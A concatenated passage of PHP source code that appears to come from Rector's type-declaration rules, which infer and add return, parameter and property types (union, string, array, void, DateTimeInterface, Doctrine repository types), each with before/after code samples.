$this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->betterNodeFinder = $betterNodeFinder; $this->staticTypeMapper = $staticTypeMapper; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return method return type based on strict typed property', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private int $age = 100; public function getAge() { return $this->age; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private int $age = 100; public function getAge(): int { return $this->age; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node->returnType instanceof Node) { return null; } if ($this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $propertyTypes = $this->resolveReturnPropertyType($node); if ($propertyTypes === []) { return null; } // add type to return type $propertyType = $this->typeFactory->createMixedPassedOrUnionType($propertyTypes); if ($propertyType instanceof MixedType) { return null; } $propertyTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($propertyType, TypeKind::RETURN); if (!$propertyTypeNode instanceof Node) { return null; } $node->returnType = $propertyTypeNode; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } /** * @return Type[] */ private function resolveReturnPropertyType(ClassMethod $classMethod) : array { $returns = $this->betterNodeFinder->findReturnsScoped($classMethod); $propertyTypes = []; foreach ($returns as $return) { if (!$return->expr instanceof Expr) { return []; } if (!$return->expr instanceof PropertyFetch && !$return->expr instanceof StaticPropertyFetch) { return []; } $phpPropertyReflection = $this->reflectionResolver->resolvePropertyReflectionFromPropertyFetch($return->expr); if (!$phpPropertyReflection instanceof PhpPropertyReflection) { return []; } // all property must have type declaration if ($phpPropertyReflection->getNativeType() instanceof MixedType) { return []; } $propertyTypes[] = $this->nodeTypeResolver->getNativeType($return->expr); } if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($classMethod, $returns)) { return []; } return $propertyTypes; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->valueResolver = $valueResolver; $this->argsAnalyzer = $argsAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type from symfony serializer', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private \Symfony\Component\Serializer\Serializer $serializer; public function resolveEntity($data) { return $this->serializer->deserialize($data, SomeType::class, 'json'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private \Symfony\Component\Serializer\Serializer $serializer; public function resolveEntity($data): SomeType { return $this->serializer->deserialize($data, SomeType::class, 'json'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::HAS_RETURN_TYPE; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node->stmts === null) { return null; } if ($node->returnType instanceof Node) { return null; } if ($this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } if (\count($node->stmts) !== 1) { return null; } if (!$node->stmts[0] instanceof Return_ || !$node->stmts[0]->expr instanceof MethodCall) { return null; } /** @var MethodCall $returnExpr */ $returnExpr = $node->stmts[0]->expr; if (!$this->nodeNameResolver->isName($returnExpr->name, 'deserialize')) { return null; } if ($returnExpr->isFirstClassCallable()) { return null; } if (!$this->isObjectType($returnExpr->var, new ObjectType('Symfony\\Component\\Serializer\\Serializer'))) { return null; } $args = $returnExpr->getArgs(); if ($this->argsAnalyzer->hasNamedArg($args)) { return null; } if (\count($args) !== 3) { return null; } $type = $this->valueResolver->getValue($args[1]->value); if (!\is_string($type)) { return null; } $node->returnType = new FullyQualified($type); return $node; } } addUnionReturnType = $addUnionReturnType; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add union return type', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function getData() { if (rand(0, 1)) { return null; } if (rand(0, 1)) { return new DateTime('now'); } return new stdClass; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function getData(): null|\DateTime|\stdClass { if (rand(0, 1)) { return null; } if (rand(0, 1)) { return new DateTime('now'); } return new stdClass; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::UNION_TYPES; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addUnionReturnType->add($node, $scope); } } parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add array type based on array dim fetch use', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function resolve($item) { return $item['name']; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function resolve(array $item) { return $item['name']; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class]; } /** * @param ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; if ($node instanceof ClassMethod && $this->parentClassMethodTypeOverrideGuard->hasParentClassMethod($node)) { return null; } foreach ($node->getParams() as $param) { if ($param->type instanceof Node) { continue; } if ($param->variadic) { continue; } if ($param->default instanceof Expr && !$this->getType($param->default)->isArray()->yes()) { continue; } if (!$this->isParamAccessedArrayDimFetch($param, $node)) { continue; } $param->type = new Identifier('array'); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function isParamAccessedArrayDimFetch(Param $param, $functionLike) : bool { if ($functionLike->stmts === null) { return \false; } $paramName = $this->getName($param); $isParamAccessedArrayDimFetch = \false; $this->traverseNodesWithCallable($functionLike->stmts, function (Node $node) use($param, $paramName, &$isParamAccessedArrayDimFetch) : ?int { if ($node instanceof Class_ || $node instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($this->shouldStop($node, $param, $paramName)) { // force set to false to avoid too early replaced $isParamAccessedArrayDimFetch = \false; return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof ArrayDimFetch) { return null; } if (!$node->dim instanceof Expr) { return null; } if (!$node->var instanceof Variable) { return null; } if (!$this->isName($node->var, $paramName)) { return null; } // skip possible strings $variableType = $this->getType($node->var); if ($variableType->isString()->yes()) { // force set to false to avoid too early replaced $isParamAccessedArrayDimFetch = \false; return NodeTraverser::STOP_TRAVERSAL; } // skip integer in possibly string type as string can be accessed via int $dimType = $this->getType($node->dim); if ($dimType->isInteger()->yes() && $variableType->isString()->maybe()) { return null; } $isParamAccessedArrayDimFetch = \true; return null; }); return $isParamAccessedArrayDimFetch; } private function isEchoed(Node $node, string $paramName) : bool { if (!$node instanceof Echo_) { return \false; } foreach ($node->exprs as $expr) { if ($expr instanceof Variable && $this->isName($expr, $paramName)) { return \true; } } return \false; } private function shouldStop(Node $node, Param $param, string $paramName) : bool { $nodeToCheck = null; if (!$param->default instanceof Expr) { if ($node instanceof Isset_) { foreach ($node->vars as $var) { if ($var instanceof ArrayDimFetch && $var->var instanceof Variable && $var->var->name === $paramName) { return \true; } } } if ($node instanceof Empty_ && $node->expr instanceof ArrayDimFetch && $node->expr->var instanceof Variable && $node->expr->var->name === $paramName) { return \true; } } if ($node instanceof FuncCall && !$node->isFirstClassCallable() && $this->isNames($node, ['is_array', 'is_string', 'is_int', 'is_bool', 'is_float'])) { $firstArg = $node->getArgs()[0]; $nodeToCheck = $firstArg->value; } if ($node instanceof Expression) { $nodeToCheck = $node->expr; } if ($node instanceof Coalesce) { $nodeToCheck = $node->left; } if ($node instanceof AssignOpCoalesce) { $nodeToCheck = $node->var; } if ($this->isMethodCallOrArrayDimFetch($paramName, $nodeToCheck)) { return \true; } if ($nodeToCheck instanceof Variable && $this->isName($nodeToCheck, $paramName)) { return \true; } if ($this->isEmptyOrEchoedOrCasted($node, $paramName)) { return \true; } return $this->isReassignAndUseAsArg($node, $paramName); } private function isReassignAndUseAsArg(Node $node, string $paramName) : bool { if (!$node instanceof Assign) { return \false; } if (!$node->var instanceof Variable) { return \false; } if (!$this->isName($node->var, $paramName)) { return \false; } if (!$node->expr instanceof CallLike) { return \false; } if ($node->expr->isFirstClassCallable()) { return \false; } foreach ($node->expr->getArgs() as $arg) { if ($arg->value instanceof Variable && $this->isName($arg->value, $paramName)) { return \true; } } return \false; } private function isEmptyOrEchoedOrCasted(Node $node, string $paramName) : bool { if ($node instanceof Empty_ && $node->expr instanceof Variable && $this->isName($node->expr, $paramName)) { return \true; } if ($this->isEchoed($node, $paramName)) { return \true; } return $node instanceof Array_ && $node->expr instanceof Variable && $this->isName($node->expr, $paramName); } private function isMethodCallOrArrayDimFetch(string $paramName, ?Node $node) : bool { if ($node instanceof MethodCall) { return $node->var instanceof Variable && $this->isName($node->var, $paramName); } if ($node instanceof ArrayDimFetch) { return $node->var instanceof Variable && $this->isName($node->var, $paramName); } return \false; } } parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add string type based on concat use', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function resolve($item) { return $item . ' world'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function resolve(string $item) { return $item . ' world'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class]; } /** * @param ClassMethod|Function_|Closure $node */ public function refactor(Node $node) : ?Node { if ($node instanceof ClassMethod && $this->parentClassMethodTypeOverrideGuard->hasParentClassMethod($node)) { return null; } $hasChanged = \false; $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); foreach ($node->getParams() as $param) { if ($param->type instanceof Node) { continue; } $variableConcattedFromParam = $this->resolveVariableConcattedFromParam($param, $node); if (!$variableConcattedFromParam instanceof Variable) { continue; } $paramDocType = $phpDocInfo->getParamType($this->getName($param)); if (!$paramDocType instanceof MixedType && !$paramDocType->isString()->yes()) { continue; } $nativeType = $this->nodeTypeResolver->getNativeType($variableConcattedFromParam); if (!$nativeType instanceof MixedType) { continue; } $subtractedType = $nativeType->getSubtractedType(); if (!$subtractedType instanceof Type) { $param->type = new Identifier('string'); $hasChanged = \true; continue; } if (TypeCombinator::containsNull($subtractedType)) { $param->type = new NullableType(new Identifier('string')); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function resolveVariableConcattedFromParam(Param $param, $functionLike) : ?Variable { if ($functionLike->stmts === null) { return null; } if ($param->default instanceof Expr && !$this->getType($param->default)->isString()->yes()) { return null; } $paramName = $this->getName($param); $variableConcatted = null; $this->traverseNodesWithCallable($functionLike->stmts, function (Node $node) use($paramName, &$variableConcatted) : ?int { // skip nested class and function nodes if ($node instanceof FunctionLike || $node instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof Assign && $node->var instanceof Variable && $this->isName($node->var, $paramName)) { $variableConcatted = null; return NodeTraverser::STOP_TRAVERSAL; } $expr = $this->resolveAssignConcatVariable($node, $paramName); if ($expr instanceof Variable) { $variableConcatted = $expr; } $variableBinaryConcat = $this->resolveBinaryConcatVariable($node, $paramName); if ($variableBinaryConcat instanceof Variable) { $variableConcatted = $variableBinaryConcat; } return null; }); return $variableConcatted; } private function isVariableWithSameParam(Expr $expr, string $paramName) : bool { if (!$expr instanceof Variable) { return \false; } return $this->isName($expr, $paramName); } private function resolveAssignConcatVariable(Node $node, string $paramName) : ?Expr { if (!$node instanceof Concat) { return null; } if ($this->isVariableWithSameParam($node->var, $paramName)) { return $node->var; } if ($this->isVariableWithSameParam($node->expr, $paramName)) { return $node->expr; } return null; } private function resolveBinaryConcatVariable(Node $node, string $paramName) : ?Expr { if (!$node instanceof Expr\BinaryOp\Concat) { return null; } if ($this->isVariableWithSameParam($node->left, $paramName)) { return $node->left; } if ($this->isVariableWithSameParam($node->right, $paramName)) { return $node->right; } return null; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add string return type based on returned string scalar values', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function foo($condition) { if ($condition) { return 'yes'; } return 'no'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function foo($condition): string { if ($condition) { return 'yes'; } return 'no'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already added → skip if ($node->returnType instanceof Node) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } foreach ($returns as $return) { // we need exact string "value" return if (!$return->expr instanceof String_ && !$return->expr instanceof Encapsed) { return null; } } if ($this->shouldSkipClassMethodForOverride($node, $scope)) { return null; } $node->returnType = new Identifier('string'); return $node; } public function provideMinPhpVersion() : int { return PhpVersion::PHP_70; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkipClassMethodForOverride($functionLike, Scope $scope) : bool { if (!$functionLike instanceof ClassMethod) { return \false; } return $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope); } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add string return type based on returned strict string values', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function foo($condition, $value) { if ($value) { return 'yes'; } return strtoupper($value); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function foo($condition, $value): string; { if ($value) { return 'yes'; } return strtoupper($value); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already added → skip if ($node->returnType instanceof Node) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } // handled by another rule if ($this->hasAlwaysStringScalarReturn($returns)) { return null; } // anything that return strict string, but no strings only if (!$this->isAlwaysStringStrictType($returns)) { return null; } if ($this->shouldSkipClassMethodForOverride($node, $scope)) { return null; } $node->returnType = new Identifier('string'); return $node; } public function provideMinPhpVersion() : int { return PhpVersion::PHP_70; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkipClassMethodForOverride($functionLike, Scope $scope) : bool { if (!$functionLike instanceof ClassMethod) { return \false; } return $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope); } /** * @param Return_[] $returns */ private function hasAlwaysStringScalarReturn(array $returns) : bool { foreach ($returns as $return) { // we need exact string "value" return if (!$return->expr instanceof String_ && !$return->expr instanceof Encapsed) { return \false; } } return \true; } /** * @param Return_[] $returns */ private function isAlwaysStringStrictType(array $returns) : bool { foreach ($returns as $return) { // void return if (!$return->expr instanceof Expr) { return \false; } $exprType = $this->nodeTypeResolver->getNativeType($return->expr); if (!$exprType->isString()->yes()) { return \false; } } return \true; } } testsNodeAnalyzer = $testsNodeAnalyzer; $this->silentVoidResolver = $silentVoidResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add void to PHPUnit test methods', [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; class SomeClass extends TestCase { public function testSomething() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; class SomeClass extends TestCase { public function testSomething(): void { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->testsNodeAnalyzer->isInTestClass($node)) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { // has type already if ($classMethod->returnType instanceof Node) { continue; } if (!$this->testsNodeAnalyzer->isTestClassMethod($classMethod)) { continue; } if ($classMethod->isAbstract()) { continue; } if (!$this->silentVoidResolver->hasExclusiveVoid($classMethod)) { continue; } $classMethod->returnType = new Identifier('void'); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::VOID_TYPE; } } phpDocInfoFactory = $phpDocInfoFactory; $this->nodeFinder = $nodeFinder; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type to classes that extend Doctrine\\ORM\\EntityRepository based on return Doctrine method names', [new CodeSample(<<<'CODE_SAMPLE' use Doctrine\ORM\EntityRepository; /** * @extends EntityRepository */ final class SomeRepository extends EntityRepository { public function getActiveItem() { return $this->findOneBy([ 'something' ]); } } CODE_SAMPLE , <<<'CODE_SAMPLE' use Doctrine\ORM\EntityRepository; /** * @extends EntityRepository */ final class SomeRepository extends EntityRepository { public function getActiveItem(): ?SomeType { return $this->findOneBy([ 'something' ]); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->isObjectType($node, new ObjectType('Doctrine\\ORM\\EntityRepository'))) { return null; } $entityClassName = $this->resolveEntityClassnameFromPhpDoc($node); if ($entityClassName === null) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkipClassMethod($classMethod)) { continue; } if ($this->containsMethodCallNamed($classMethod, 'getOneOrNullResult')) { $classMethod->returnType = $this->createNullableType($entityClassName); } elseif ($this->containsMethodCallNamed($classMethod, 'findOneBy')) { $classMethod->returnType = $this->createNullableType($entityClassName); } if ($this->containsMethodCallNamed($classMethod, 'findBy')) { $classMethod->returnType = new Identifier('array'); // add docblock with type $classMethodPhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); $arrayTypeNode = new ArrayTypeNode(new IdentifierTypeNode($entityClassName)); $classMethodPhpDocInfo->addTagValueNode(new ReturnTagValueNode($arrayTypeNode, '')); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($classMethod); } $hasChanged = \true; // try to figure out the return type } if ($hasChanged) { return $node; } return null; } private function resolveEntityClassnameFromPhpDoc(Class_ $class) : ?string { $classPhpDocInfo = $this->phpDocInfoFactory->createFromNode($class); // we need a way to resolve entity type... 1st idea is from @extends docblock if (!$classPhpDocInfo instanceof PhpDocInfo) { return null; } $extendsTagValuePhpDocNodes = $classPhpDocInfo->getTagsByName('extends'); if ($extendsTagValuePhpDocNodes === []) { return null; } $extendsTagValueNode = $extendsTagValuePhpDocNodes[0]->value; if (!$extendsTagValueNode instanceof ExtendsTagValueNode) { return null; } // we look for generic type class if (!$extendsTagValueNode->type instanceof GenericTypeNode) { return null; } $genericTypeNode = $extendsTagValueNode->type; if ($genericTypeNode->type->name !== 'EntityRepository') { return null; } $entityGenericType = $genericTypeNode->genericTypes[0]; if (!$entityGenericType instanceof IdentifierTypeNode) { return null; } // skip if value is used in generics if (\in_array($entityGenericType->name, $classPhpDocInfo->getTemplateNames(), \true)) { return null; } return $entityGenericType->name; } private function containsMethodCallNamed(ClassMethod $classMethod, string $desiredMethodName) : bool { return (bool) $this->nodeFinder->findFirst((array) $classMethod->stmts, static function (Node $node) use($desiredMethodName) : bool { if (!$node instanceof MethodCall) { return \false; } if (!$node->name instanceof Identifier) { return \false; } $currentMethodCallName = $node->name->toString(); return $currentMethodCallName === $desiredMethodName; }); } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { if (!$classMethod->isPublic()) { return \true; } if ($classMethod->isStatic()) { return \true; } return $classMethod->returnType instanceof Node; } private function createNullableType(string $entityClassName) : NullableType { $name = new Name($entityClassName); return new NullableType($name); } } phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Set DateTime to DateTimeInterface for DateTime property with DateTimeInterface docblock', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { /** * @var DateTimeInterface */ private DateTime $dateTime; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private DateTimeInterface $dateTime; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->getProperties() as $property) { if (!$property->type instanceof Node) { continue; } if (!$property->type instanceof FullyQualified) { continue; } if ($property->type->toString() !== 'DateTime') { continue; } if (!$property->isPrivate()) { continue; } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($property); if (!$phpDocInfo instanceof PhpDocInfo) { continue; } $varType = $phpDocInfo->getVarType(); $className = $varType instanceof TypeWithClassName ? $this->nodeTypeResolver->getFullyQualifiedClassName($varType) : null; if ($className === 'DateTimeInterface') { $varTagvalueNode = $phpDocInfo->getVarTagValueNode(); if ($varTagvalueNode instanceof VarTagValueNode && $varTagvalueNode->description === '') { $phpDocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($property); } $property->type = new FullyQualified('DateTimeInterface'); $hasChanged = \true; } } if (!$hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } } getterTypeDeclarationPropertyTypeInferer = $getterTypeDeclarationPropertyTypeInferer; $this->setterTypeDeclarationPropertyTypeInferer = $setterTypeDeclarationPropertyTypeInferer; $this->makePropertyTypedGuard = $makePropertyTypedGuard; $this->reflectionResolver = $reflectionResolver; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add property type based on strict setter and getter method', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private $name = 'John'; public function setName(string $name): void { $this->name = $name; } public function getName(): string { return $this->name; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private string $name = 'John'; public function setName(string $name): void { $this->name = $name; } public function getName(): string { return $this->name; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $classReflection = null; foreach ($node->getProperties() as $property) { if ($property->type instanceof Node) { continue; } if (!$property->isPrivate()) { continue; } $getterSetterPropertyType = $this->matchGetterSetterIdenticalType($property, $node); if (!$getterSetterPropertyType instanceof Type) { continue; } $hasPropertyDefaultNull = $this->hasPropertyDefaultNull($property); if (!$hasPropertyDefaultNull && !$this->isDefaultExprTypeCompatible($property, $getterSetterPropertyType)) { continue; } if (!$classReflection instanceof ClassReflection) { $classReflection = $this->reflectionResolver->resolveClassReflection($node); } if (!$classReflection instanceof ClassReflection) { return null; } if (!$this->makePropertyTypedGuard->isLegal($property, $classReflection, \false)) { continue; } $propertyTypeDeclaration = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($getterSetterPropertyType, TypeKind::PROPERTY); if (!$propertyTypeDeclaration instanceof Node) { continue; } $this->decorateDefaultExpr($getterSetterPropertyType, $property, $hasPropertyDefaultNull); $property->type = $propertyTypeDeclaration; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } private function matchGetterSetterIdenticalType(Property $property, Class_ $class) : ?Type { $getterBasedStrictType = $this->getterTypeDeclarationPropertyTypeInferer->inferProperty($property, $class); if (!$getterBasedStrictType instanceof Type) { return null; } $setterBasedStrictType = $this->setterTypeDeclarationPropertyTypeInferer->inferProperty($property, $class); if (!$setterBasedStrictType instanceof Type) { return null; } // single type if ($setterBasedStrictType->equals($getterBasedStrictType)) { return $setterBasedStrictType; } if ($getterBasedStrictType instanceof UnionType) { $getterBasedStrictTypes = $getterBasedStrictType->getTypes(); } else { $getterBasedStrictTypes = [$getterBasedStrictType]; } return new UnionType(\array_merge([$setterBasedStrictType], $getterBasedStrictTypes)); } private function isDefaultExprTypeCompatible(Property $property, Type $getterSetterPropertyType) : bool { $defaultExpr = $property->props[0]->default ?? null; // make sure default value is not a conflicting type if (!$defaultExpr instanceof Node) { // no value = no problem :) return \true; } $defaultExprType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($defaultExpr); return $defaultExprType->equals($getterSetterPropertyType); } private function decorateDefaultExpr(Type $getterSetterPropertyType, Property $property, bool $hasPropertyDefaultNull) : void { if (!TypeCombinator::containsNull($getterSetterPropertyType)) { if ($hasPropertyDefaultNull) { // reset to nothign $property->props[0]->default = null; } return; } $propertyProperty = $property->props[0]; // already set → skip it if ($propertyProperty->default instanceof Expr) { return; } $propertyProperty->default = new ConstFetch(new Name('null')); } private function hasPropertyDefaultNull(Property $property) : bool { $defaultExpr = $property->props[0]->default ?? null; if (!$defaultExpr instanceof ConstFetch) { return \false; } return $defaultExpr->name->toLowerString() === 'null'; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnTypeInferer = $returnTypeInferer; $this->betterNodeFinder = $betterNodeFinder; $this->staticTypeMapper = $staticTypeMapper; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add method return type based on strict ternary values', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function getValue($number) { return $number ? 100 : 500; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function getValue($number): int { return $number ? 100 : 500; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } if ($node->stmts === null) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (\count($returns) !== 1) { return null; } if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } $return = $returns[0]; if (!$return->expr instanceof Ternary) { return null; } $ternary = $return->expr; $returnScope = $return->expr->getAttribute(AttributeKey::SCOPE); if (!$returnScope instanceof Scope) { return null; } $nativeTernaryType = $returnScope->getNativeType($ternary); if ($nativeTernaryType instanceof MixedType) { return null; } $ternaryType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($ternary); $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($ternaryType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $node->returnType = $returnTypeNode; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkip($functionLike, Scope $scope) : bool { // type is already filled, skip if ($functionLike->returnType instanceof Node) { return \true; } $returnType = $this->returnTypeInferer->inferFunctionLike($functionLike); $returnType = TypeCombinator::removeNull($returnType); if ($returnType instanceof UnionType) { return \true; } return $functionLike instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope); } } assignToPropertyTypeInferer = $assignToPropertyTypeInferer; $this->staticTypeMapper = $staticTypeMapper; $this->constructorAssignDetector = $constructorAssignDetector; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add typed property from assigned mock', [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { private $someProperty; protected function setUp(): void { $this->someProperty = $this->createMock(SomeMockedClass::class); } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { private \PHPUnit\Framework\MockObject\MockObject $someProperty; protected function setUp(): void { $this->someProperty = $this->createMock(SomeMockedClass::class); } } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->isObjectType($node, new ObjectType(ClassName::TEST_CASE_CLASS))) { return null; } $hasChanged = \false; foreach ($node->getProperties() as $property) { // already typed if ($property->type instanceof Node) { continue; } if (\count($property->props) !== 1) { continue; } $propertyName = (string) $this->getName($property); $type = $this->assignToPropertyTypeInferer->inferPropertyInClassLike($property, $propertyName, $node); if (!$type instanceof Type) { continue; } $propertyType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PROPERTY); if (!$propertyType instanceof Node) { continue; } if (!$this->isObjectType($propertyType, new ObjectType(self::MOCK_OBJECT_CLASS))) { continue; } if (!$this->constructorAssignDetector->isPropertyAssigned($node, $propertyName)) { if (!$propertyType instanceof NullableType) { continue; } $property->props[0]->default = $this->nodeFactory->createNull(); } $property->type = $propertyType; $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } } allAssignNodePropertyTypeInferer = $allAssignNodePropertyTypeInferer; $this->makePropertyTypedGuard = 